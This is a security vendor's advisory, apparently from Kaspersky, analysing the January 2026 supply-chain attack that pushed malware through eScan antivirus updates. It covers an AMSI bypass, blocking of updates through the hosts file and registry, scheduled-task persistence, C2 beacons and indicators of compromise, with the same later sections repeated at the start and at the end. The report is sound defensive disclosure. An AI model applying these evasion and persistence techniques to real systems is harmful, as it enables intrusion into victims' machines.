Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload

Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:

  • https://csc.biologii[.]net/sooc
  • https://airanks.hns[.]to

If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.

The PowerShell-based persistent payload

The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named β€œs” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.

A rarely observed attack vector

Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:

  • Get access to the security solution update server.
  • Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
  • Develop unique implants, tailored to the supply chain attack.

An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.

One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.

How to stay safe?

To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.

The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.

Users of the solution are also advised to block known malware command-and-control server addresses.

Kaspersky’s security solutions, such as Kaspersky Next, successfully detect all malware used by the attackers with its Behavior Detection component.

Indicators of compromise

Network indicators
https://vhs.delrosal[.]net/i
https://tumama.hns[.]to
https://blackice.sol-domain[.]org
https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to

Malicious Reload.exe component hashes
1617949c0c9daa2d2a5a80f1028aeb95ce1c0dee
a928bddfaa536c11c28c8d2c5d16e27cbeaf6357
ebaf9715d7f34a77a6e1fd455fe0702274958e20
96cdd8476faa7c6a7d2ad285658d3559855b168d

Malicious CONSCTLX.exe component hash
2d2d58700a40642e189f3f1ccea41337486947f5

Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log

Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag

Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999

  •  

Supply chain attack on eScan antivirus: detecting and remediating malicious updates

UPD 30.01.2026: Added technical details about the attack chain and more IoCs.

On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.

Malicious software used in the attack

Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.

The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named β€œCorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.

How the attackers managed to pull off this attack

At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability β€” the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.

According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.

Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.

Obfuscated code snippet

Obfuscated code snippet

When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:

Lines of the launched script

Lines of the launched script

Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.

eScan antivirus tampering payload

The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:

  • Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
  • Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
  • Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
  • Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.

While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.

It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:

Error message displayed to us when we launched the update process after tampering with eScan

Error message displayed to us when we launched the update process after tampering with eScan. While the message says, β€œThe operation completed successfully”, its appearance is abnormal, and no updates are actually downloaded or installed

Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.

AMSI bypass payload

The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.

Snippet of the AMSI bypass payload (deobfuscated version)

Snippet of the AMSI bypass payload (deobfuscated version)

Victim validation payload

The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.

If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:

  • Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
  • Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
    PowerShell script executed by the CorelDefrag scheduled task (beautified version)

    PowerShell script executed by the CorelDefrag scheduled task (beautified version)

    This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.

When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:

  • https://vhs.delrosal[.]net/i
  • https://tumama.hns[.]to
  • https://blackice.sol-domain[.]org
  • https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts

The response to the GET request is not processed.

As such, during installation, the infected machine receives two persistent payloads:

  • The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
  • The PowerShell-based payload, designed to be launched via a scheduled task

The CONSCTLX.exe persistent payload

This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.

Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload

Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload

Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:

  • https://csc.biologii[.]net/sooc
  • https://airanks.hns[.]to

If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.

The PowerShell-based persistent payload

The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named β€œs” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.

A rarely observed attack vector

Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:

  • Get access to the security solution update server.
  • Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
  • Develop unique implants, tailored to the supply chain attack.

An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.

One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.

How to stay safe?

To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.

The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.

Users of the solution are also advised to block known malware command-and-control server addresses.

Kaspersky’s security solutions, such as Kaspersky Next, successfully detect all malware used by the attackers with its Behavior Detection component.

Indicators of compromise

Network indicators
https://vhs.delrosal[.]net/i
https://tumama.hns[.]to
https://blackice.sol-domain[.]org
https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to

Malicious Reload.exe component hashes
1617949c0c9daa2d2a5a80f1028aeb95ce1c0dee
a928bddfaa536c11c28c8d2c5d16e27cbeaf6357
ebaf9715d7f34a77a6e1fd455fe0702274958e20
96cdd8476faa7c6a7d2ad285658d3559855b168d

Malicious CONSCTLX.exe component hash
2d2d58700a40642e189f3f1ccea41337486947f5

Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log

Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag

Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999

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